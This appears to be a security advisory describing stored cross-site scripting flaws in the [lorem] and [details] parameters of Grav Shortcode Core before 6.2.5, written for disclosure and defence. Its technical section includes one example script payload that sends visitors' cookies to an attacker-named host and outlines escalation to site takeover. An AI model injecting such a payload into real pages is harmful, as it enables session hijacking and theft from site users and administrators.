Description

Grav Shortcode Core before 6.2.5 contains stored cross-site scripting vulnerabilities in the [lorem] tag parameter and [details] summary parameter that are written to rendered pages without escaping. Attackers with page-edit access can inject arbitrary HTML and JavaScript that executes in the browsers of all page visitors, including administrators.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "7.2",
  "pubDate": "2026-09-04T12:17:23.490Z",
  "pubdate": "2026-09-04T12:17:23.490Z",
  "executiveSummary": "Grav Shortcode Core versions prior to 6.2.5 are susceptible to stored Cross-Site Scripting (XSS) vulnerabilities.\nThe vulnerability originates from the improper handling of user-supplied input within the [lorem] and [details] shortcode parameters.\nThese parameters fail to undergo sufficient output encoding or sanitization before being rendered in the Document Object Model (DOM) of the final page.\nAn attacker possessing page-edit privileges can weaponize this flaw by injecting arbitrary HTML and malicious JavaScript payloads into these parameters.\nWhen a user or administrator views the compromised page, the injected script executes within the context of the victim's browser session.\nThe impact is significant, as it enables session hijacking, unauthorized actions performed on behalf of authenticated administrators, and the potential theft of sensitive session cookies or CSRF tokens.\nThis vulnerability highlights a critical failure in input validation and output escaping protocols within the affected plugin components.",
  "technicalDetails": "The vulnerability is a classic case of Stored Cross-Site Scripting (XSS) occurring due to insecure rendering logic within the Grav Shortcode Core plugin. The core issue lies in the way the plugin processes shortcode parameters specifically within the [lorem] tag and the summary parameter of the [details] tag.\nDuring the rendering phase, the plugin retrieves these parameters and injects them directly into the generated HTML structure without applying necessary context-aware output encoding. By default, the plugin assumes the provided input is benign, neglecting the requirement to sanitize tags or escape special characters that could be interpreted as executable script by a web browser.\nThe attack flow proceeds as follows: An attacker with page-edit access navigates to a Grav page where they have the authority to modify content. The attacker crafts a payload containing malicious JavaScript, for example, <script>fetch('https://attacker.com/log?c='+document.cookie)</script>, and inserts this into the vulnerable [lorem] or [details] parameter fields. Once the page is saved, this payload is stored persistently in the underlying database or flat-file storage used by Grav.\nWhen any visitor—including high-privilege administrators—accesses the rendered page, the server-side processing of the Grav Shortcode Core replaces the shortcode with the stored malicious payload. The browser receives this payload as part of the rendered HTML. Because the browser cannot distinguish between legitimate page content and the injected script, it executes the script in the security context of the origin site.\nThis execution leads to a total compromise of the victim's session on the Grav platform. If the victim is an administrator, the attacker can leverage the executed JavaScript to perform administrative tasks, such as creating new user accounts, modifying site configurations, or injecting additional malicious code via server-side file editing, effectively escalating the XSS attack to full site compromise. Because the vulnerability is stored, it remains active until the page content is sanitized or the plugin is updated, ensuring that every user viewing the affected page becomes a victim."
}